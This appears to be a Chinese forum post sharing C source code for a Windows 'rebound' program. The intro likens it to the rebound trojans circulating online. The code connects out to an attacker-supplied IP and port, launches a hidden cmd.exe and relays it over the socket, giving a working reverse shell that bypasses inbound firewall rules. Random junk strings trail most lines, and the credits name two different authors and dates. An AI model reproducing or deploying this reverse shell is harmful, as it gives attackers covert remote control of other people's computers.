这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s *<T5Z
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/* ============================== bt?)ryu
Rebound port in Windows NT ~;nW+S$o
By wind,2006/7 [,mcvO;
===============================*/ Ht%O9v
#include \MtdT[*
#include E=~Ahkg
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#pragma comment(lib,"wsock32.lib") |1Ko5z
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void OutputShell(); z0 _/JwJn
SOCKET sClient; b]\V~ZaXG
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~Nl`Zmn(A|
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void main(int argc,char **argv) K?mly$
{ QK`2^
WSADATA stWsaData; "4i_}
int nRet; H3qL&xL
SOCKADDR_IN stSaiClient,stSaiServer; :,=Z)e
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if(argc != 3) 7:&a,nU
{ '5n=tRx
printf("Useage:\n\rRebound DestIP DestPort\n"); JLV?n,nF
return; ~8G cWy6
} ~sc@49p
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WSAStartup(MAKEWORD(2,2),&stWsaData); eR5+1b
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m{sch`bP
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stSaiClient.sin_family = AF_INET; Jl,\^)DSw
stSaiClient.sin_port = htons(0); = DXvt5G
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IctLhYZ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \)9R1zp/x
{ &SK=ZOKg^
printf("Bind Socket Failed!\n"); 'P~6_BW
return; (ZuV5|N
} eFCXjM
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stSaiServer.sin_family = AF_INET; MFLw^10(T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w'Q2Czso
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sR*JU%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vW4N[ .+
{ Y{ 2xokJ N
printf("Connect Error!"); 8rsv8OO
return; j<*`?V^
} nzORG
OutputShell(); ecy41y'~:
} &,@wLy^T
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void OutputShell() hTbot^/
{ q CB9z
char szBuff[1024]; mPo] .z
SECURITY_ATTRIBUTES stSecurityAttributes; -2Azpeh
OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %uLyL4*L(p
STARTUPINFO stStartupInfo; 9CTvG zkw
char *szShell; A)q,VSR8
PROCESS_INFORMATION stProcessInformation; 4lfJc9J
unsigned long lBytesRead; "t"&6\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H@WQO]PA
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uP[:P?,t
stSecurityAttributes.lpSecurityDescriptor = 0; XD\Z$\UJE
stSecurityAttributes.bInheritHandle = TRUE; L #l|}u
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); wY j~ (P"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7oI^sh k
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :j2_Jn4UP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kpN'H_ .
stStartupInfo.wShowWindow = SW_HIDE; >zDnJb&"&
stStartupInfo.hStdInput = hReadPipe; tY=n("=2
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D`^9
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GetVersionEx(&stOsversionInfo); d\ Z#XzI8
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switch(stOsversionInfo.dwPlatformId) g#ONtY@*U
{ F-n1J?4b
case 1: AFSFXPl
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szShell = "command.com"; ?k:i3$
break; S[ ,r.+
default: C&'Y@GE5
szShell = "cmd.exe"; {XNu4d9w(
break;
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} q}["Nww-
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [Pt5c6 L:
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send(sClient,szMsg,77,0); ynN[N(m#
while(1) 1xo<V5
{ prY9SQd
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]X)EO49
if(lBytesRead) ^$y_~z3o#7
{ BE}qwP^
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lA<IcW
send(sClient,szBuff,lBytesRead,0); W$Bx?}x($
} P( W8XC
else K9*#H(
{ .W&rcqy
lBytesRead=recv(sClient,szBuff,1024,0); <ZNa`
if(lBytesRead<=0) break; m H'jr$ ?
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); STmCj
} +:[dviyPt
} F#^ .L|d4
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return; jL)aU> kN
}